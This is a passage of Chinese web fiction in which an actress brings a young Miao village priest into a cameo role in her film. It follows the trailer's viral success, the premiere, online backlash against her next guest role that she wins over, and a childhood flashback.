陈杬祝连忙解释道：“我们这部《九色鹿》里，有一个西域魔域的少年祭祀角色，戏份不多，就是在曼殊血洗神殿的那场戏里，站在祭台中央念诵祷词。我觉得你的气质和这个角色特别契合，而且你本身就是苗寨的祭祀，对祷词和仪式感的把握，一定比专业演员还要好。” 她怕沈司南会拒绝，又补充了一句，声音里带着一丝软语：“就当是来探班的小惊喜，好不好？” 许祭站在一旁，没有插话，只是目光温和地看着沈司南，显然是尊重他的决定。 沈司南低头看了看怀里的熊猫玩偶，又抬头看向陈杬祝眼中的期待，沉默了几秒，随后轻轻点了点头，软糯的声音里带着一丝悠然的笃定：“好啊。” 他的话音刚落，陈杬祝瞬间欢呼起来，拉着他的手腕就往张导的方向跑，完全忘了自己还抱着保温箱。许祭无奈地笑了笑，快步跟上，自然地接过了她手里的保温箱。 张导正愁眉不展，看到陈杬祝拉着一个少年走过来，刚想开口询问，目光落在沈司南身上的瞬间，眼睛瞬间亮了。 眼前的少年，身形清瘦，皮肤白皙，眉眼间带着一种干净到极致的清冷，却又在眼底深处藏着一丝不容侵犯的神性。尤其是他手腕上那串泛着淡蓝光晕的萤石手链，更是与西域祭祀的设定不谋而合。 “张导！这就是我跟你说的少年祭祀！”陈杬祝的声音里带着难掩的兴奋，“他叫沈司南，是苗寨的祭祀，绝对能演好这个角色！” 张导快步走上前，围着沈司南转了两圈，越看越满意，激动得连声音都有些发颤：“就是他！就是我要找的人！气质太绝了！” 他当即拍板，让造型师立刻带沈司南去定妆。沈司南没有丝毫抗拒，将怀里的熊猫玩偶递给许祭，便跟着造型师走进了化妆间。 许祭抱着熊猫玩偶，站在休息区的沙发旁，看着陈杬祝兴奋得来回踱步的样子，嘴角勾起一抹淡淡的笑意：“你倒是比他本人还激动。” “那当然！”陈杬祝笑着说，“司南的气质，简直就是为这个角色量身定做的！我敢保证，他一定会给所有人一个惊喜。” 没过多久，沈司南便从化妆间里走了出来。 他换上了一身月白色的祭祀长袍，裙摆上绣着暗金色的星轨图腾，腰间系着一根银色的丝带，长发被简单地束在脑后，露出光洁的额头。原本手腕上的萤石手链被保留了下来，与月白色的长袍相映成趣，整个人看起来既干净又神圣，仿佛真的是从西域魔域走出来的少年祭祀。 影棚里的工作人员瞬间安静下来，所有人的目光都落在沈司南身上，眼中满是惊艳。 张导更是激动得连连拍手：“完美！太完美了！沈先生，你现在就是我心中的少年祭祀！” 陈杬祝看着沈司南的样子，眼底的笑意更浓了。她走上前，轻轻帮他理了理衣领，声音温柔：“司南，等会儿拍戏的时候，你不用紧张，就按照你在苗寨主持祭祀的感觉来就好。” 沈司南点了点头，软糯的声音里带着一丝悠然：“我知道。” 这场戏的拍摄很顺利。当沈司南站在祭台中央，用清越的声音念诵着古老的祷词时，全场的工作人员都屏住了呼吸。他的眼神专注而肃穆，仿佛真的置身于西域魔域的神殿之中，连陈杬祝都暂时忘记了自己的角色，沉浸在他所营造的氛围里。 直到张导喊出“卡”的声音，全场才爆发出热烈的掌声。 饰演神殿祭司的老戏骨走上前，对着沈司南竖起大拇指：“沈先生，你的表演太有感染力了！简直就是天生的演员！” 沈司南只是轻轻摇了摇头，软糯的声音里带着一丝谦虚：“我只是在做我熟悉的事情。” 拍摄结束后，沈司南换回了自己的衣服，抱着熊猫玩偶走到陈杬祝身边。陈杬祝立刻递过一瓶水，笑着说：“司南，你今天的表现太棒了！张导说，要把你的戏份剪进预告片里，一定会给大家一个大大的惊喜。” 沈司南喝了一口水，点了点头，眼底带着一丝不易察觉的笑意。 许祭走上前，轻轻揉了揉沈司南的头发，声音温柔：“时间不早了，我们该回去了。” 陈杬祝这才想起，他们还没好好吃过东西。她连忙拉着两人往休息区走，将阿婆做的糯米饭和酸汤鱼拿出来，笑着说：“快尝尝，还是热的呢。” 沈司南拿起勺子，舀了一口糯米饭放进嘴里，眼底瞬间漫上满足的笑意。许祭也拿起筷子，夹了一块酸汤鱼，细细地品尝着。 陈杬祝坐在一旁，看着两人吃得香甜的样子，眼底满是温暖。她突然想起什么，拿出手机，对着沈司南拍了一张照片。照片里，沈司南正低头吃着糯米饭，阳光落在他的发顶，温柔得像一幅画。 她将这张照片发到了微博上，配文：今日份惊喜，来自沈祭祀的客串? 评论区瞬间炸开了锅，粉丝们纷纷留言： 「天呐！沈祭祀客串《九色鹿》了！」 「姐姐这是什么神仙缘分！太期待了！」 「沈祭祀的气质，演西域少年祭祀一定绝了！」 「预告片什么时候出？我已经等不及了！」 沈司南和许祭离开的时候，天色已经擦黑。陈杬祝送他们到影棚门口，看着许祭开车载着沈司南渐渐远去，眼底满是不舍。 她低头看了看手机里的照片，又抬头看向远处的星空，嘴角勾起一抹温柔的笑意。 今天的惊喜，真的太大了。 而她知道，这只是一个开始。未来的日子里，她和沈司南、许祭之间的故事，还会继续书写下去。 就像她微博里写的那样，一切都是最好的安排。 24. 一起走 陈杬祝站在影棚门口，直到许祭的车尾灯彻底消失在横店的夜色里，才缓缓收回目光。助理递过来一件厚外套，低声提醒：“杬祝姐，张导还在里面等你，说要补拍几个曼殊的特写镜头。” 她点点头，将手机揣进衣兜，指尖还残留着刚才拍照片时的温热。转身往影棚走的路上，口袋里的手机震了震，是许祭发来的消息：【已安全上高速，阿婆让我们带话，下次回来给你带新酿的米酒。】 后面跟着沈司南的一条语音，软糯的声音裹着风声：“杬祝姐，拍戏要注意身体，不要熬夜。” 陈杬祝忍不住笑出声，指尖在屏幕上敲下回复：【收到！等你们回来，我请你们吃横店最有名的烤猪蹄。】 走进影棚时，张导正对着监视器里沈司南的镜头啧啧称奇。见她过来，立刻招手让她看：“杬祝你看，这一段祷词的镜头，简直是神来之笔！沈先生的眼神里，既有祭祀的肃穆，又有少年人的干净，还有一丝说不清道不明的悲悯，比我预想的还要好上十倍！” 监视器里，沈司南站在祭台中央，月白色的长袍在风里轻轻飘动，萤石手链泛着淡蓝的光。他的嘴唇轻启，清越的声音透过音响传出来，每一个音节都带着古老而神秘的力量。 陈杬祝的眼底映着屏幕里的少年，嘴角的笑意温柔而骄傲。“我就说，他一定可以的。” “何止是可以！”张导一拍大腿，“我已经让人把这段镜头剪进先行预告片里了，定在明天中午十二点发布。我敢保证，沈先生这一个镜头，就能让《九色鹿》的热度再上一个台阶！” 陈杬祝挑了挑眉，心里却没有太多的意外。沈司南身上的那种气质，本就是独一无二的，无论走到哪里，都能轻易吸引所有人的目光。 补拍的镜头很顺利。陈杬祝很快进入曼殊的状态，玄黑绣金的长裙曳地，眉眼间带着冷冽的杀气，与刚才那个温柔的探班人判若两人。当她手持长剑，一步步走向祭台时，连张导都忍不住屏住了呼吸。 收工的时候，已经是深夜。陈杬祝回到酒店，刚洗完澡，就看到手机里弹出了无数条消息。点开微博，才发现自己中午发的那条关于沈司南客串的微博，已经被顶上了热搜。 #陈杬祝 沈祭祀 客串# #九色鹿少年祭祀# #沈司南萤石手链# 三条热搜齐刷刷地挂在榜单上，评论区里已经炸开了锅。除了她的粉丝，还有不少被沈司南气质吸引来的路人，纷纷留言询问这个神秘的少年是谁。 【救命！这个少年的气质也太绝了吧！干净又神圣，我直接垂直入坑！】 【有没有人知道这个沈祭祀是谁啊？求科普！】 【陈杬祝的朋友圈也太神仙了吧！这是什么宝藏朋友！】 【已经开始期待预告片了！张导能不能快点放出来！】 陈杬祝笑着刷着评论，突然看到一条特别的留言，是一个认证为“苗寨文化保护协会”的账号发的：【沈司南，是我们苗寨最年轻的祭祀，守护着寨子里的古老传承。他身上的萤石手链，是祭祀的信物，蕴含着自然的力量。】 这条评论很快被顶到了热评第一，下面瞬间多了很多好奇的留言。陈杬祝没有回复，只是默默点了个赞。她知道，沈司南不喜欢被太多人关注，这次客串，也只是因为她的请求。 正准备放下手机，却收到了沈司南的微信消息。是一张照片，照片里，熊猫玩偶被放在副驾驶座上，窗外是漆黑的夜色和点点星光。 【我们快到家啦。】 陈杬祝刚想回复，又一条消息跳了出来，是许祭发的：【他已经困了，靠着车窗睡着了。明天再聊。】 陈杬祝看着屏幕上的文字，仿佛能看到沈司南靠在车窗上，长睫轻轻垂着的样子。她回了一个“晚安”的表情，便放下了手机。 第二天中午十二点，《九色鹿》的先行预告片准时发布。 预告片的开头，是西域魔域的苍茫戈壁，风沙漫天。紧接着，镜头切换到神殿之中，沈司南站在祭台中央，月白色的长袍在风里飘动，萤石手链泛着淡蓝的光。他的声音清越而肃穆，念诵着古老的祷词，眼神里带着悲悯与坚定。 镜头一闪，陈杬祝饰演的曼殊手持长剑，一步步走向祭台，玄黑的长裙曳地，眉眼间带着冷冽的杀气。两人的镜头交替出现，一黑一白，一冷一暖，形成了强烈的视觉冲击。 最后一个镜头，是沈司南抬起头，目光望向远方，嘴角带着一丝淡淡的笑意。而曼殊的长剑，已经抵在了他的颈间。 预告片的背景音乐渐渐落下，屏幕上出现一行字：《九色鹿》，敬请期待。 预告片发布仅仅十分钟，播放量就突破了千万。微博、抖音、小红书等平台，都被这段预告片刷屏了。 【沈司南的那个镜头，我能看一百遍！】 【这是什么神仙选角！少年祭祀和曼殊的对手戏，我已经开始期待正片了！】 【沈司南的眼神太有戏了！悲悯中带着坚定，干净中带着神性，简直就是为这个角色而生的！】 【陈杬祝的曼殊也好绝！冷冽又霸气，期待她和沈司南的对手戏！】 陈杬祝坐在化妆镜前，看着手机里不断上涨的播放量，嘴角的笑意越来越浓。造型师正在给她做头发，笑着说：“杬祝姐，你这次可真是挖到宝了！沈先生的这个镜头，比任何宣传都管用。” 陈杬祝点点头，眼底满是骄傲。“他本来就是一个很特别的人。” 正说着，手机响了，是张导打来的。电话里，张导的声音带着难掩的兴奋：“杬祝！预告片爆了！现在全网都在问沈先生是谁，还有很多导演和制片人，都想找他拍戏！你快问问他，有没有兴趣进入娱乐圈？” 陈杬祝微微一怔，随即摇了摇头。“张导，司南他不喜欢被太多人关注。他这次客串，只是因为我的请求。” 张导的声音瞬间低落了下来：“这样啊……那真是太可惜了。他要是进入娱乐圈，肯定会大红大紫的。” “每个人都有自己喜欢的生活方式。”陈杬祝的声音很温柔，“司南喜欢苗寨的生活，喜欢和阿婆在一起，喜欢守护着寨子里的传承。我们应该尊重他的选择。” 张导沉默了几秒，随即点了点头：“你说得对。是我太着急了。不过，下次要是有合适的角色，我还是想请他客串一下。” “我会帮你问问的。”陈杬祝笑着说。 挂了电话，陈杬祝立刻给许祭发了条消息，询问他们的情况。许祭很快回复：【刚给阿婆看完预告片，阿婆笑得合不拢嘴，说要给司南做他最喜欢吃的糯米粑粑。】 陈杬祝忍不住笑了，回复道：【替我向阿婆问好。还有，张导说，有很多导演和制片人想找司南拍戏，我已经帮他拒绝了。】 许祭的回复很快：【谢谢你。司南不喜欢那种生活，我们还是喜欢苗寨的宁静。】 【我明白。】陈杬祝敲下这几个字，心里却突然有了一个念头。 《九色鹿》的宣传期还在继续，陈杬祝的行程排得满满当当。跑综艺、开直播、参加首映礼，每一天都忙得不可开交。但无论多忙，她每天都会和沈司南、许祭联系。 有时候是沈司南发来的苗寨日常，比如阿婆种的辣椒熟了，寨子里的孩子们在河边玩耍，或者是他抱着熊猫玩偶坐在树下看书的照片。有时候是许祭发来的消息，告诉她司南今天又去山里采了什么草药，或者是他们一起做了什么好吃的。 陈杬祝总是会认真地回复每一条消息，分享自己的工作日常，比如今天拍了什么戏，遇到了什么有趣的事情，或者是吃到了什么好吃的东西。 时间过得很快，转眼间，《九色鹿》的首映礼就要到了。 首映礼定在上海的一个大型影院举行。陈杬祝作为女主角，自然是全场的焦点。她穿着一身金色的长裙，长发挽起，露出光洁的额头，整个人看起来既优雅又大气。 走红毯的时候，记者们的闪光灯不断地闪烁着。有记者大声问道：“陈杬祝女士，请问沈司南先生会来参加今天的首映礼吗？” 陈杬祝微微一愣，随即笑着摇了摇头：“司南他有事来不了，不过他已经给我发来了祝福。” 记者们显然有些失望，但还是继续问道：“那请问，沈先生以后还会客串你的电影吗？” “如果有合适的角色，而且他也愿意的话，我当然很欢迎。”陈杬祝的声音很温柔。 走进影院时，张导正站在门口迎接宾客。见她过来，立刻笑着说：“杬祝，你今天可真美！对了，我让人给沈先生和许先生留了位置，虽然他们来不了，但我们还是要表示一下心意。” 陈杬祝的心里一暖，点了点头：“谢谢你，张导。” 首映礼正式开始了。当屏幕上出现沈司南的镜头时，全场瞬间安静了下来。所有人的目光都聚焦在屏幕上，眼中满是惊艳。 当预告片播放完毕，全场爆发出热烈的掌声。陈杬祝坐在座位上，看着台下观众们激动的表情，眼底满是感动。 电影正式开始了。沈司南的戏份虽然不多，但每一个镜头都堪称经典。当他站在祭台中央，念诵着古老的祷词时，全场的观众都屏住了呼吸。当曼殊的长剑抵在他的颈间时，所有人都忍不住发出了一声惊呼。 电影结束时，全场再次爆发出热烈的掌声。陈杬祝和张导一起走上台，接受观众们的祝福。 有观众大声问道：“陈杬祝女士，请问沈司南先生的戏份，有没有删减？我们还想多看一点他的镜头！” 陈杬祝笑着回答：“沈先生的戏份，每一个镜头都保留了下来。而且，我们还在片尾加了一段他的幕后花絮，大家可以留意一下。” 观众们立刻欢呼起来。 首映礼结束后，陈杬祝回到后台，刚想拿出手机给沈司南和许祭报喜，却听到了一个熟悉的声音。 “杬祝姐。” 陈杬祝猛地转过身，只见沈司南站在门口，怀里抱着熊猫玩偶，身上穿着一件简单的白色衬衫，手腕上的萤石手链在灯光下泛着淡蓝光晕。许祭就站在他身侧，一身黑色休闲装，身姿挺拔，目光温和地落在沈司南身上。 “司南！许祭！”陈杬祝的声音里带着止不住的雀跃，快步走到两人面前，“你们怎么来了？不是说有事来不了吗？” 沈司南的长睫轻轻颤了颤，软糯的声音里带着一丝笑意：“阿婆说，首映礼这么重要的日子，一定要来给你捧场。我们坐了最早的一班高铁过来的。” 许祭适时地递过一个保温箱，声音温和：“里面是阿婆亲手做的糯米粑粑，还是热的。” 陈杬祝的眼眶瞬间湿润了。她接过保温箱，刚想说话，却看到张导带着一群记者走了过来。 张导的声音里带着难掩的兴奋：“杬祝，你看谁来了！” 记者们看到沈司南，瞬间激动起来。闪光灯不断地闪烁着，话筒纷纷递到了沈司南的面前。 “沈先生，请问你为什么会来参加《九色鹿》的首映礼？” “沈先生，你对自己的表演满意吗？” “沈先生，有没有兴趣进入娱乐圈？” 沈司南微微皱了皱眉，有些不适应这样的场面。许祭立刻上前一步，将他护在身后，声音温和却带着一丝不容侵犯的坚定：“抱歉，司南不喜欢被太多人关注。我们今天只是来给杬祝姐捧场的。” 陈杬祝也立刻上前，挡在沈司南面前，对着记者们笑着说：“各位记者朋友，司南他只是一个普通的苗寨少年，不是娱乐圈的人。请大家不要过多地关注他的私生活，让他能够安静地生活。” 记者们虽然有些失望，但还是很识趣地收起了话筒。 张导连忙打圆场：“好了好了，时间不早了，我们还是先去吃饭吧。我已经订好了餐厅，专门为杬祝庆祝，也为沈先生和许先生接风洗尘。” 陈杬祝点了点头，拉着沈司南的手腕，往餐厅的方向走去。许祭跟在两人身后，自然地接过了陈杬祝手里的保温箱。 餐厅里，气氛很热闹。张导和剧组的工作人员们，都在不停地向沈司南敬酒。沈司南不太会喝酒，只能用果汁代替。许祭则一直陪在他身边，帮他挡下了不少酒。 陈杬祝看着沈司南被众人围着的样子，眼底满是温柔。她知道，沈司南虽然不喜欢这样的场面，但为了她，还是来了。 吃完饭，已经是深夜。陈杬祝送沈司南和许祭回到酒店。站在酒店门口，沈司南突然从怀里拿出一个小盒子，递给陈杬祝。 “杬祝姐，这是我送给你的礼物。” 陈杬祝好奇地打开盒子，里面是一串用苗寨特有的蓝晶石穿成的手链，手链的中间，还镶嵌着一颗小小的萤石。 “这是我亲手做的。”沈司南的软糯的声音里带着一丝紧张，“蓝晶石可以保佑平安，萤石是我的信物。希望它能保佑你拍戏顺利，平平安安。” 陈杬祝的眼眶瞬间湿润了。她拿起手链，戴在手腕上，大小刚刚好。蓝晶石的光泽和萤石的光晕相互映衬，美丽极了。 “谢谢你，司南。我很喜欢。” 沈司南的眼底瞬间漫上笑意，长睫轻轻颤了颤，看起来可爱极了。 许祭看了看时间，轻声说：“时间不早了，我们该回去休息了。明天还要早起回苗寨。” 陈杬祝点了点头，心里满是不舍。“下次一定要提前告诉我，我去接你们。” “好。”沈司南点了点头。 看着两人走进酒店的背影，陈杬祝低头看了看手腕上的蓝晶石手链，嘴角勾起一抹温柔的笑意。 手机突然震了震，是微博推送的消息。《九色鹿》的票房已经突破了五亿，而且还在持续上涨。评论区里，所有人都在称赞沈司南的表演。 陈杬祝笑着刷着评论，心里却突然有了一个念头。 她拿出手机，给许祭发了一条消息：【下次我去苗寨看你们，好不好？】 许祭的回复很快：【随时欢迎。阿婆已经在准备你的房间了。】 陈杬祝的嘴角笑得更甜了。她抬头看向远方的星空，眼底满是期待。 《九色鹿》的成功，让陈杬祝的事业再上一个台阶。但她知道，对她来说，最重要的不是票房，不是名气，而是沈司南和许祭的陪伴，是阿婆的糯米饭和酸汤鱼，是苗寨的宁静和温暖。 未来的日子里，她会继续拍自己喜欢的戏，会继续和沈司南、许祭保持联系，会经常去苗寨看望他们。 她和他们之间的故事，才刚刚开始。 而这一切，都是最好的安排。 陈杬祝回到酒店时，卸妆棉刚擦去眼尾的浓妆，手机屏幕还亮着《九色鹿》的最新票房海报。她指尖划开微博，相册里自动弹出今天首映礼现场的照片——沈司南站在影院门口，怀里的熊猫玩偶被灯光映出暖融融的边，萤石手链的蓝光与她手腕上的蓝晶石手链遥遥相映。 她指尖顿在那张照片上，又翻出电影里的一张截图：祭台之上，曼殊的玄黑长剑抵在少年祭祀的颈间，月白色长袍被风掀起一角，沈司南的眼底盛着悲悯，却没有半分惧意。 两张照片被她拼在一起，编辑框里的文字删了又改，最后只留下一行清浅的话。 点击发送的瞬间，手机屏幕的光映在她带笑的眼底。 @陈杬祝： 电影里，曼殊执剑相向，害你于祭台之上。? 现实里，陈杬祝会护你周全，陪你看遍苗寨的星空与横店的烟火。 @沈司南今天的糯米粑粑，是我吃过最甜的谢礼。[心] 【配图：一张是电影中曼殊抵剑于沈司南颈间的剧照，一张是首映礼现场沈司南抱着熊猫玩偶站在门口的生图，两张照片拼接处，她手腕的蓝晶石手链与他的萤石手链恰好同框】 微博发出不过三分钟，评论区便炸开了锅。 「救命！这个对比图我直接泪目！电影里的虐与现实里的甜，反差感拉满了！」 「曼殊：我剑指你喉。陈杬祝：我护你周全。这是什么神仙友情啊！」 「沈祭祀的萤石手链和杬祝姐的蓝晶石手链！是双向的守护吧！」 「糯米粑粑好甜！杬祝姐一定要常去苗寨玩啊！」 「谁懂啊！电影里我为他们的对手戏揪心，现实里我为他们的友情落泪！」 陈杬祝刚放下手机，便收到了许祭发来的截图。是沈司南的微博界面——那个几乎从不发动态的账号，罕见地给她的微博点了赞，还在评论区留了言。 @沈司南： 苗寨的新米已经晒好，阿婆说，等你回来煮糯米饭。[熊猫] 后面跟着一个憨态可掬的熊猫表情，和他怀里抱着的那个玩偶一模一样。 陈杬祝看着那条评论，忍不住笑出了声。指尖敲下回复：「收到！等我忙完这阵，就带着横店的烤猪蹄去苗寨找你们！」 发送完毕，她将手机放在床头，转头看向窗外。横店的夜色里，灯火璀璨，如同坠落的星河。 手腕上的蓝晶石手链泛着淡淡的光，与相册里沈司南手腕上的萤石手链，在记忆里交织成一片温柔的蓝。 电影里的刀光剑影终会落幕，但现实里的牵挂与陪伴，才刚刚开始。 陈杬祝的手机在清晨六点准时震动起来，不是闹钟，是经纪人林姐的微信消息，附带着一份薄薄的剧本大纲和角色邀约。 《曼陀沙华》，业内大导操刀的民国悬疑剧，剧本还未官宣便已赚足关注度。林姐的语音里带着难掩的兴奋：“杬祝，张导亲自点名让你客串司梦秋，戏份就两场，但角色太出彩了——民国时期的留洋女学生，在男主的回忆里惊鸿一瞥，是贯穿全剧的白月光线索。” 陈杬祝揉着惺忪的睡眼，指尖划过剧本上“司梦秋”的名字。角色设定里的“清冷破碎，自带书卷气”，和她刚杀青的曼殊判若两人，倒也算是个新鲜的挑战。她没多犹豫，回了句“接了”。 消息敲定的第三天，《曼陀沙华》官方微博正式公布客串阵容，陈杬祝的名字和司梦秋的角色简介并列出现，配图是一张她早前拍的民国风写真——素色旗袍，乌发披肩，眉眼间带着淡淡的疏离。 她原本以为，不过是个客串角色，掀不起什么风浪。却没料到，微博发布不过半小时，#陈杬祝 司梦秋 不合适#的词条便以惊人的速度冲上热搜，后面还跟着个刺眼的“爆”字。 陈杬祝的微博评论区瞬间被攻陷，原本和谐的粉丝留言区，涌入了大批剧粉和路人，言辞犀利得不留一丝情面。 「？？？陈杬祝认真的吗？司梦秋是白月光啊！清冷破碎的留洋女学生，她那张充满科技感的整容脸怎么演？」 「导演是不是瞎了？司梦秋应该是那种干净到骨子里的气质，陈杬祝的苹果肌都快飞上天了，一点书卷气都没有！」 「别来沾边《曼陀沙华》！陈杬祝除了演些霸气御姐还会什么？这张脸演民国女学生，简直是对角色的侮辱！」 「不好看！真的不好看！她的脸和司梦秋的人设完全不搭边，求她放过这个角色吧！」 更有甚者，直接扒出她近期活动的生图，和剧本里司梦秋的角色画像做对比，配文“东施效颦，高下立见”。 助理端着早餐进来时，看到陈杬祝正安静地刷着微博，脸色平静得看不出情绪，心里却咯噔一下。“杬祝姐……要不还是别看了，这些人就是跟风黑。” 陈杬祝抬眸，眼底没有半分波澜，只是轻轻摇了摇头。她将手机放在桌上，拿起三明治咬了一口，味道却有些寡淡。“没事，让他们说吧。” 林姐的电话很快打了进来，声音里带着焦虑：“杬祝，现在网上的舆论对我们很不利，剧方那边已经收到很多抗议邮件了，甚至有人提议换角。你看……要不要发个声明，或者干脆推了这个角色？” “推了？”陈杬祝的声音微微上扬，带着一丝不易察觉的坚定，“为什么要推？我接了这个角色，就一定会演好。” “可是网上的那些言论……” “言论是别人的，演技是我自己的。”陈杬祝打断她的话，语气平静却有力，“司梦秋这个角色，我很喜欢。我会用我的表现，让所有人都闭嘴。” 挂了电话，陈杬祝起身走到窗边，看着窗外横店的清晨。阳光透过云层洒下来，给远处的山尖镀上了一层金边。 她的指尖无意识地划过手腕上的蓝晶石手链，那是沈司南送给她的礼物。脑海里瞬间闪过沈司南在《九色鹿》里的表现，那个被所有人都不看好的少年祭祀，最终用自己的实力征服了所有人。 一股力量突然从心底涌起，陈杬祝的眼底重新燃起了光芒。 她立刻打开电脑，将司梦秋的角色剧本打印出来，逐字逐句地研读。司梦秋，留洋归来的女学生，出身书香门第，却在乱世中背负着家族的秘密，最终香消玉殒。她的清冷，不是天生的孤傲，而是看透世事的无奈；她的破碎，不是脆弱的矫情，而是身不由己的悲哀。 陈杬祝将自己代入角色，试图去理解她的每一个眼神，每一个动作。她还专门找来了民国时期的纪录片，研究当时女学生的言行举止，甚至向剧组的历史顾问请教，了解那个年代的社会背景和人文风情。 为了更贴近角色，她还特意减了肥，每天坚持晨跑，控制饮食。她不再化浓妆，只保留最基础的护肤，让皮肤呈现出最自然的状态。她甚至还去学了古筝和书法，只为了在镜头前，能更自然地展现司梦秋的书卷气。 日子一天天过去，陈杬祝的状态越来越好。她的脸颊清瘦了不少，眉眼间的疏离感愈发明显，整个人看起来，竟真的有了几分民国女学生的清冷与温婉。 进组的那天，陈杬祝穿着一身素色的棉布旗袍，乌发松松地挽成一个髻，插着一根简单的玉簪。她没有带任何助理，只背着一个小小的背包，安静地站在剧组门口。 当她走进化妆间时，原本喧闹的房间瞬间安静下来。所有人的目光都落在她身上，眼中满是惊讶。 “杬祝姐……你怎么变化这么大？”造型师忍不住开口，语气里带着难以置信。 陈杬祝只是淡淡一笑：“为了司梦秋。” 定妆照出来的那一刻，整个剧组都沸腾了。照片里的陈杬祝，穿着月白色的旗袍，坐在窗边，手里捧着一本线装书。阳光透过窗棂洒在她身上，给她的轮廓镀上了一层柔和的金边。她的眉眼低垂，长长的睫毛在眼睑下投下一片浅浅的阴影，眼神里带着淡淡的忧伤，却又透着一丝不屈的倔强。 清冷破碎，书卷气十足。 这才是他们心中的司梦秋！ 造型师立刻将定妆照发给了剧方，剧方官方微博很快发布了这张照片，配文：「初见司梦秋，静待陈杬祝。」 微博发布的瞬间，网上的舆论瞬间反转。 「！！！这是陈杬祝？我没看错吧！」 「救命！这个造型也太绝了吧！清冷破碎的民国女学生，这才是我心中的司梦秋啊！」 「之前说她整容脸的人呢？出来走两步！这张脸，演司梦秋简直是量身定做！」 「我错了！我向陈杬祝道歉！她真的太适合这个角色了！」 「期待陈杬祝的司梦秋！已经等不及想看正片了！」 陈杬祝的粉丝也终于扬眉吐气，纷纷在评论区留言：「我们杬祝从来都不会让大家失望！」「用实力说话，这才是演员的底气！」 陈杬祝看到这些评论时，正在拍摄司梦秋的第一场戏。她站在镜头前，看着对面的男主，眼神里带着淡淡的忧伤，声音轻柔却有力：“先生，这乱世，我们该何去何从？” 导演喊“卡”的瞬间，全场爆发出热烈的掌声。 男主走到她身边，对着她竖起大拇指：“杬祝，你的表演太有感染力了！我完全被你带入戏了！” 陈杬祝只是淡淡一笑，眼底却带着一丝释然。 拍摄间隙，她拿出手机，给许祭发了条消息，附上了自己的定妆照。「司梦秋报道。」 许祭的回复很快，后面还跟着沈司南的一条语音。 许祭：「很适合你。司南看了照片，说你和苗寨里的桂花姐姐一样，温柔又坚定。」 沈司南软糯的声音透过听筒传来，带着一丝雀跃：「杬祝姐，你真好看！等你拍完戏，我和许祭去探班，给你带阿婆做的桂花糕。」 陈杬祝的嘴角忍不住上扬，眼底满是温柔。她回了个“好”字，便将手机收了起来，重新投入到拍摄中。 司梦秋的戏份虽然只有两场，但每一场都堪称经典。一场是她与男主在校园里的初遇，阳光正好，书香弥漫，她的一个回眸，惊艳了时光。另一场是她的诀别戏，乱世之中，她穿着红色的旗袍，站在炮火连天的街头，对着男主微微一笑，然后转身，消失在茫茫人海。 当最后一场戏拍摄完毕，导演喊出“卡”的瞬间，全场再次爆发出热烈的掌声。 导演走到陈杬祝身边，激动地说：“杬祝，你演活了司梦秋！这两场戏，一定会成为全剧的名场面！” 陈杬祝微微鞠躬，声音里带着一丝疲惫，却也带着一丝满足：“谢谢导演的信任。” 收工的时候，天色已经擦黑。陈杬祝换回自己的衣服，刚走出影棚，就看到了两个熟悉的身影。 沈司南站在不远处的路灯下，怀里抱着那只圆滚滚的熊猫玩偶，身上穿着一件简单的白色衬衫，手腕上的萤石手链在灯光下泛着淡蓝光晕。许祭就站在他身侧，一身黑色休闲装，身姿挺拔，手里还提着一个保温箱。 “司南！许祭！”陈杬祝的声音里带着止不住的雀跃，快步走到两人面前，“你们怎么来了？不是说等我拍完戏吗？” 沈司南的长睫轻轻颤了颤，软糯的声音里带着一丝笑意：“我们想给你一个惊喜。” 许祭适时地递过保温箱，声音温和：“里面是阿婆亲手做的桂花糕，还是热的。” 陈杬祝的心底瞬间涌上一股暖流，她接过保温箱，刚想邀请两人进休息区坐坐，却看到不远处围了一群记者。 显然，他们是冲着她来的。 许祭立刻上前一步，将沈司南护在身后，声音温和却带着一丝不容侵犯的坚定：“抱歉，我们只是来探班的，不方便接受采访。” 陈杬祝也立刻上前，挡在两人面前，对着记者们笑着说：“各位记者朋友，我今天已经收工了，有什么问题，我们明天再谈。” 记者们虽然有些失望，但还是很识趣地离开了。 陈杬祝拉着两人往自己的房车走去，将桂花糕拿出来，笑着说：“快尝尝，阿婆的手艺还是那么好。” 沈司南拿起一块桂花糕放进嘴里，眼底瞬间漫上满足的笑意。许祭也拿起一块，细细地品尝着。 陈杬祝坐在一旁，看着两人吃得香甜的样子，眼底满是温暖。她突然想起什么，拿出手机，对着沈司南拍了一张照片。照片里，沈司南正低头吃着桂花糕，路灯的光芒落在他的发顶，温柔得像一幅画。 她将这张照片发到了微博上，配文：司梦秋的收工惊喜，来自沈祭祀和许先生的桂花糕? @沈司南 评论区瞬间炸开了锅，粉丝们纷纷留言： 「天呐！沈祭祀又来探班了！」 「姐姐这是什么神仙友情！太羡慕了！」 「沈祭祀吃桂花糕的样子好可爱！我也想吃阿婆做的桂花糕！」 「司梦秋的戏份什么时候播？我已经等不及了！」 陈杬祝看着评论区里的留言，嘴角的笑意越来越浓。 沈司南和许祭离开的时候，天色已经彻底黑了。陈杬祝送他们到房车门口，看着许祭开车载着沈司南渐渐远去，眼底满是不舍。 她低头看了看手机里的照片，又抬头看向远处的星空，嘴角勾起一抹温柔的笑意。 这一路，有质疑，有诋毁，但也有支持，有陪伴。 她用自己的实力，证明了自己可以演好司梦秋。而沈司南和许祭的到来，更是给了她最大的惊喜和安慰。 未来的日子里，她会继续拍自己喜欢的戏，会继续和沈司南、许祭保持联系，会经常去苗寨看望他们。 她和他们之间的故事，还在继续书写。 而这一切，都是最好的安排。 陈杬祝的房车在夜色里平稳行驶，窗外的横店灯火渐次后退。她靠在沙发上，指尖摩挲着手机壳内侧夹着的一张旧照片——那是她翻箱倒柜从老家相册里扫描出来的，边角已经微微泛黄，却清晰地定格着某个夏日的午后。 照片里的陈杬祝扎着羊角辫，穿着粉色的小裙子，笑得露出两颗小虎牙，正歪着头靠在身侧少年的肩膀上。而那个被她依赖着的少年，就是沈司南。 彼时的沈司南不过七八岁的年纪，穿着洗得发白的蓝色布衫，眉眼间还没有后来的软糯与温润。他的小脸绷得紧紧的，唇线抿成一条冷硬的直线，眼神里没有半分孩童的灵动，只有与年龄不符的疏离和淡漠。他站得笔直，双手垂在身侧，连被陈杬祝靠在肩膀上，都没有丝毫的动容，仿佛身边的热闹与他无关。 那是陈杬祝第一次随父母回苗寨探亲，也是她第一次见到沈司南。寨子里的孩子都怕他，说他是被山神选中的孩子，天生带着寒气，没有人情味。只有陈杬祝不怕，追着他跑了整整一天，最后在寨口的老槐树下，软磨硬泡让他和自己拍了这张合照。 